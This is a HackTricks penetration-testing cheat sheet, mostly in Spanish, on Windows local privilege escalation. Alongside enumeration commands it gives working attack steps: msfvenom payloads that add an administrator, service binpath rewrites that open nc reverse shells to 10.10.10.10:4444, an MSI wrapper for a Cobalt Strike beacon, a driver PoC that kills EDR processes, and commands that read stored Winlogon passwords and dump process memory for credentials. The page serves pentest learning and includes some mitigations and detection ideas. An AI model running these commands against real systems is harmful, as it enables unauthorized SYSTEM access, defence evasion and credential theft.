Windows Local Privilege Escalation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Mejor herramienta para buscar vectores de escalada de privilegios locales en Windows: WinPEAS

Teoría inicial de Windows

Access Tokens

Si no sabes qué son los Windows Access Tokens, lee la siguiente página antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la siguiente página para más información sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Si no sabes qué son los Integrity Levels en Windows deberías leer la siguiente página antes de continuar:

Integrity Levels

Controles de seguridad de Windows

Hay varias cosas en Windows que podrían impedir que enumeres el sistema, ejecutar binarios o incluso detectar tus actividades. Deberías leer la siguiente página y enumerar todos estos mecanismos de defensa antes de empezar la enumeración para escalada de privilegios:

Windows Security Controls

Información del sistema

Enumeración de info de versión

Comprueba si la versión de Windows tiene alguna vulnerabilidad conocida (revisa también los parches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploits por versión

This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the enorme superficie de ataque that a Windows environment presents.

En el sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas tiene watson integrado)

Localmente con información del sistema

Repositorios de Github de exploits:

Entorno

¿Alguna credencial/información jugosa guardada en las variables de entorno?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historial de PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Archivos de transcripción de PowerShell

Puedes aprender cómo habilitarlo en https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Se registran detalles de las ejecuciones del pipeline de PowerShell, incluyendo los comandos ejecutados, las invocaciones de comandos y partes de scripts. Sin embargo, no siempre se capturan los detalles completos de la ejecución ni los resultados de salida.

Para habilitar esto, sigue las instrucciones en la sección “Transcript files” de la documentación, optando por “Module Logging” en lugar de “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver los últimos 15 eventos de los registros de PowerShell puedes ejecutar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Se captura un registro completo de la actividad y del contenido íntegro de la ejecución del script, asegurando que cada bloque de código quede documentado mientras se ejecuta. Este proceso preserva una pista de auditoría exhaustiva de cada actividad, útil para análisis forense y para el estudio de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se obtienen detalles profundos sobre el proceso.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Los eventos de registro para el Script Block se pueden encontrar en el Visor de eventos de Windows en la ruta: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Para ver los últimos 20 eventos puedes usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internet Settings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puedes comprometer el sistema si las actualizaciones no se solicitan usando httpS sino http.

Empiezas comprobando si la red usa una actualización WSUS sin SSL ejecutando lo siguiente en cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

O lo siguiente en PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Si recibes una respuesta como una de estas:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

Y si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" es igual a 1.

Entonces, es explotable. Si la última entrada del registro es igual a 0, la entrada WSUS será ignorada.

Para explotar esta vulnerabilidad puedes usar herramientas como: Wsuxploit, pyWSUS - Estos son scripts de exploit MiTM para inyectar actualizaciones ‘falsas’ en el tráfico WSUS no-SSL.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Básicamente, este es el fallo que explota este bug:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Puedes explotar esta vulnerabilidad usando la herramienta WSUSpicious (una vez esté liberada).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Muchos agents empresariales exponen una superficie IPC en localhost y un canal de actualización privilegiado. Si el enrollment puede ser forzado hacia un servidor del atacante y el updater confía en una rogue root CA o en verificaciones de firma débiles, un usuario local puede entregar un MSI malicioso que el servicio SYSTEM instala. Véase una técnica generalizada (basada en la cadena Netskope stAgentSvc – CVE-2025-0309) aquí:

Abusing Auto Updaters And Ipc

KrbRelayUp

Una vulnerabilidad de local privilege escalation existe en entornos Windows domain bajo condiciones específicas. Estas condiciones incluyen entornos donde LDAP signing is not enforced, los usuarios poseen derechos para configurarse a sí mismos permitiéndoles configurar Resource-Based Constrained Delegation (RBCD), y la capacidad para que los usuarios creen equipos dentro del dominio. Es importante notar que estos requisitos se cumplen utilizando los default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si tienes una sesión meterpreter puedes automatizar esta técnica usando el módulo exploit/windows/local/always_install_elevated

PowerUP

Usa el comando Write-UserAddMSI de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script escribe un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GUI):

Write-UserAddMSI

Simplemente ejecuta el binario creado para elevar privilegios.

MSI Wrapper

Lee este tutorial para aprender cómo crear un MSI wrapper usando estas herramientas. Ten en cuenta que puedes envolver un archivo “.bat” si solo quieres ejecutar líneas de comando

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Genera con Cobalt Strike o Metasploit un nuevo Windows EXE TCP payload en C:\privesc\beacon.exe
  • Abre Visual Studio, selecciona Create a new project y escribe “installer” en el cuadro de búsqueda. Selecciona el proyecto Setup Wizard y haz clic en Next.
  • Dale al proyecto un nombre, por ejemplo AlwaysPrivesc, usa C:\privesc como ubicación, selecciona place solution and project in the same directory, y haz clic en Create.
  • Sigue haciendo clic en Next hasta que llegues al paso 3 de 4 (choose files to include). Haz clic en Add y selecciona el Beacon payload que acabas de generar. Luego haz clic en Finish.
  • Resalta el proyecto AlwaysPrivesc en el Solution Explorer y en Properties, cambia TargetPlatform de x86 a x64.
  • Hay otras propiedades que puedes cambiar, como Author y Manufacturer, que pueden hacer que la aplicación instalada parezca más legítima.
  • Haz clic derecho sobre el proyecto y selecciona View > Custom Actions.
  • Haz clic derecho en Install y selecciona Add Custom Action.
  • Haz doble clic en Application Folder, selecciona tu archivo beacon.exe y haz clic en OK. Esto asegurará que el beacon payload se ejecute tan pronto se ejecute el instalador.
  • Bajo Custom Action Properties, cambia Run64Bit a True.
  • Finalmente, compílalo.
  • Si se muestra la advertencia File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', asegúrate de establecer la plataforma a x64.

MSI Installation

Para ejecutar la instalación del archivo .msi malicioso en segundo plano:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explotar esta vulnerabilidad puedes usar: exploit/windows/local/always_install_elevated

Antivirus and Detectors

Audit Settings

Estas configuraciones deciden qué se está registrando, así que debes prestar atención

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, es interesante saber a dónde se envían los logs

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS está diseñado para la gestión de las contraseñas del administrador local, garantizando que cada contraseña sea única, aleatoria y actualizada regularmente en equipos unidos a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios a quienes se les han otorgado permisos suficientes mediante ACLs, permitiéndoles ver las contraseñas de administrador local si están autorizados.

LAPS

WDigest

Si está activo, las contraseñas en texto plano se almacenan en LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partir de Windows 8.1, Microsoft introdujo una protección mejorada para la Local Security Authority (LSA) para bloquear intentos de procesos no confiables de leer su memoria o inyectar código, reforzando la seguridad del sistema.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard se introdujo en Windows 10. Su propósito es salvaguardar las credenciales almacenadas en un dispositivo frente a amenazas como los ataques pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Credenciales en caché

Domain credentials son autenticadas por la Local Security Authority (LSA) y utilizadas por componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, típicamente se establecen las domain credentials para el usuario.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuarios y Grupos

Enumerar Usuarios y Grupos

Deberías comprobar si alguno de los grupos a los que perteneces tiene permisos interesantes.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Si perteneces a algún grupo privilegiado, es posible que puedas escalar privilegios. Aprende sobre los grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí:

Privileged Groups

Manipulación de tokens

Aprende más sobre qué es un token en esta página: Windows Tokens.
Consulta la página siguiente para aprender sobre tokens interesantes y cómo abusar de ellos:

Abusing Tokens

Usuarios conectados / Sesiones

qwinsta
klist sessions

Carpetas de usuario

dir C:\Users
Get-ChildItem C:\Users

Política de contraseñas

net accounts

Obtener el contenido del portapapeles

powershell -command "Get-Clipboard"

Procesos en ejecución

Permisos de archivos y carpetas

Antes que nada, al listar los procesos, comprueba si hay contraseñas en la línea de comandos del proceso.
Comprueba si puedes sobrescribir algún binary en ejecución o si tienes permisos de escritura de la carpeta del binary para explotar posibles DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Siempre comprueba si hay electron/cef/chromium debuggers en ejecución, podrías abusar de esto para escalar privilegios.

Comprobando permisos de los binarios de los procesos

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Comprobando los permisos de las carpetas de los binarios de los procesos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Puedes crear un memory dump de un proceso en ejecución usando procdump de sysinternals. Servicios como FTP pueden tener las credentials in clear text in memory; intenta dump the memory y leer las credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicaciones GUI inseguras

Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario lanzar un CMD, o explorar directorios.

Ejemplo: “Windows Help and Support” (Windows + F1), busca “command prompt”, haz clic en “Click to open Command Prompt”

Servicios

Service Triggers permiten que Windows inicie un servicio cuando ocurren ciertas condiciones (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Incluso sin los derechos SERVICE_START a menudo puedes iniciar servicios privilegiados activando sus triggers. Consulta técnicas de enumeración y activación aquí:

Service Triggers

Obtén una lista de servicios:

net start
wmic service list brief
sc query
Get-Service

Permisos

Puedes usar sc para obtener información de un servicio

sc qc <service_name>

Se recomienda disponer del binario accesschk de Sysinternals para comprobar el nivel de privilegio requerido para cada servicio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Se recomienda comprobar si “Authenticated Users” pueden modificar algún servicio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Habilitar servicio

Si tienes este error (por ejemplo con SSDPSRV):

Se ha producido el error del sistema 1058.
El servicio no puede iniciarse, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados.

Puedes habilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)

Otra solución alternativa para este problema es ejecutar:

sc.exe config usosvc start= auto

Modify service binary path

En el escenario donde el grupo “Authenticated users” posee SERVICE_ALL_ACCESS sobre un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar el servicio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Los privilegios pueden escalarse mediante varios permisos:

  • SERVICE_CHANGE_CONFIG: Permite reconfigurar el binario del servicio.
  • WRITE_DAC: Habilita la reconfiguración de permisos, permitiendo cambiar las configuraciones del servicio.
  • WRITE_OWNER: Permite adquirir la propiedad y reconfigurar permisos.
  • GENERIC_WRITE: Hereda la capacidad de cambiar las configuraciones del servicio.
  • GENERIC_ALL: También hereda la capacidad de cambiar las configuraciones del servicio.

Para la detección y explotación de esta vulnerabilidad, se puede utilizar exploit/windows/local/service_permissions.

Services binaries weak permissions

Comprueba si puedes modificar el binario que es ejecutado por un servicio o si tienes permisos de escritura en la carpeta donde se encuentra el binario (DLL Hijacking).
Puedes obtener todos los binarios que son ejecutados por un servicio usando wmic (not in system32) y comprobar tus permisos usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

También puedes usar sc y icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Modificar permisos del registro de servicios

Deberías comprobar si puedes modificar algún registro de servicio.
Puedes comprobar tus permisos sobre un registro de servicio haciendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Se debe comprobar si Authenticated Users o NT AUTHORITY\INTERACTIVE poseen FullControl permisos. Si es así, el binario ejecutado por el servicio puede ser alterado.

Para cambiar el Path del binario ejecutado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permisos AppendData/AddSubdirectory del registro de Services

Si tienes este permiso sobre un registro, esto significa que puedes crear subregistros a partir de este. En el caso de los servicios de Windows, esto es suficiente para ejecutar código arbitrario:

AppendData/AddSubdirectory permission over service registry

Rutas de servicio sin comillas

Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada parte que termine antes de un espacio.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Listar todas las rutas de servicio no entrecomilladas, excluyendo las que pertenecen a los servicios integrados de Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puedes detectar y explotar esta vulnerabilidad con metasploit: exploit/windows/local/trusted\_service\_path Puedes crear manualmente un binario de servicio con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Acciones de recuperación

Windows permite a los usuarios especificar acciones que se ejecuten si un servicio falla. Esta función puede configurarse para apuntar a un binario. Si ese binario puede ser reemplazado, podría ser posible una escalada de privilegios. Más detalles en la documentación oficial.

Aplicaciones

Aplicaciones instaladas

Comprueba los permisos de los binarios (quizá puedas sobrescribir uno y escalar privilegios) y de las carpetas (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permisos de escritura

Comprueba si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que vaya a ser ejecutado por una cuenta de Administrador (schedtasks).

Una forma de encontrar permisos débiles en carpetas/archivos del sistema es ejecutar:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Ejecutar al inicio

Comprueba si puedes sobrescribir algún registro de Windows o binario que vaya a ser ejecutado por otro usuario.
Lee la siguiente página para aprender más sobre ubicaciones interesantes de autoruns para escalar privilegios:

Privilege Escalation with Autoruns

Drivers

Busca posibles drivers de terceros extraños/vulnerables

driverquery
driverquery.exe /fo table
driverquery /SI

Si un driver expone una primitiva de lectura/escritura arbitraria del kernel (común en handlers IOCTL mal diseñados), puedes escalar robando un token SYSTEM directamente de la memoria del kernel. Consulta la técnica paso a paso aquí:

Arbitrary Kernel Rw Token Theft

Abuso de la ausencia de FILE_DEVICE_SECURE_OPEN en objetos de dispositivo (LPE + EDR kill)

Algunos drivers firmados de terceros crean su device object con un SDDL fuerte vía IoCreateDeviceSecure pero olvidan establecer FILE_DEVICE_SECURE_OPEN en DeviceCharacteristics. Sin esta bandera, la DACL segura no se aplica cuando el dispositivo se abre a través de una ruta que contiene un componente extra, permitiendo a cualquier usuario no privilegiado obtener un handle usando una ruta de espacio de nombres como:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Una vez que un usuario puede abrir el dispositivo, los IOCTLs privilegiados expuestos por el driver pueden ser abusados para LPE y manipulación. Capacidades observadas en la naturaleza como ejemplo:

  • Devolver handles con acceso total a procesos arbitrarios (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Lectura/escritura sin restricciones del raw disk (manipulación offline, trucos de persistencia en tiempo de arranque).
  • Terminar procesos arbitrarios, incluidos Protected Process/Light (PP/PPL), permitiendo kill de AV/EDR desde espacio de usuario vía kernel.

Patrón mínimo de PoC (modo usuario):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigaciones para desarrolladores

  • Siempre establezca FILE_DEVICE_SECURE_OPEN al crear objetos de dispositivo que deban estar restringidos por una DACL.
  • Valide el contexto del llamador para operaciones privilegiadas. Añada comprobaciones PP/PPL antes de permitir la terminación de procesos o la devolución de handles.
  • Restringa los IOCTLs (access masks, METHOD_*, validación de entrada) y considere brokered models en lugar de privilegios directos en el kernel.

Ideas de detección para defensores

  • Monitoree las aperturas en modo usuario de nombres de dispositivos sospechosos (e.g., \ .\amsdk*) y secuencias específicas de IOCTL indicativas de abuso.
  • Implemente la lista de bloqueo de drivers vulnerables de Microsoft (HVCI/WDAC/Smart App Control) y mantenga sus propias listas de permitir/denegar.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para más información sobre cómo abusar de esta comprobación:

Writable Sys Path +Dll Hijacking Privesc

Red

Recursos compartidos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Comprueba si hay otros equipos conocidos hardcoded en el hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfaces de red y DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Puertos abiertos

Comprueba si hay servicios restringidos desde el exterior

netstat -ano #Opened ports?

Tabla de enrutamiento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabla ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reglas de Firewall

Consulta esta página para comandos relacionados con Firewall (listar reglas, crear reglas, desactivar, desactivar…)

Más comandos para enumeración de red aquí

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

El binario bash.exe también se puede encontrar en C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si obtienes root user puedes escuchar en cualquier puerto (la primera vez que uses nc.exe para escuchar en un puerto te preguntará vía GUI si nc debe ser permitido por el firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar bash como root fácilmente, puedes probar --default-user root

Puedes explorar el sistema de archivos de WSL en la carpeta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciales de Windows

Credenciales de Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
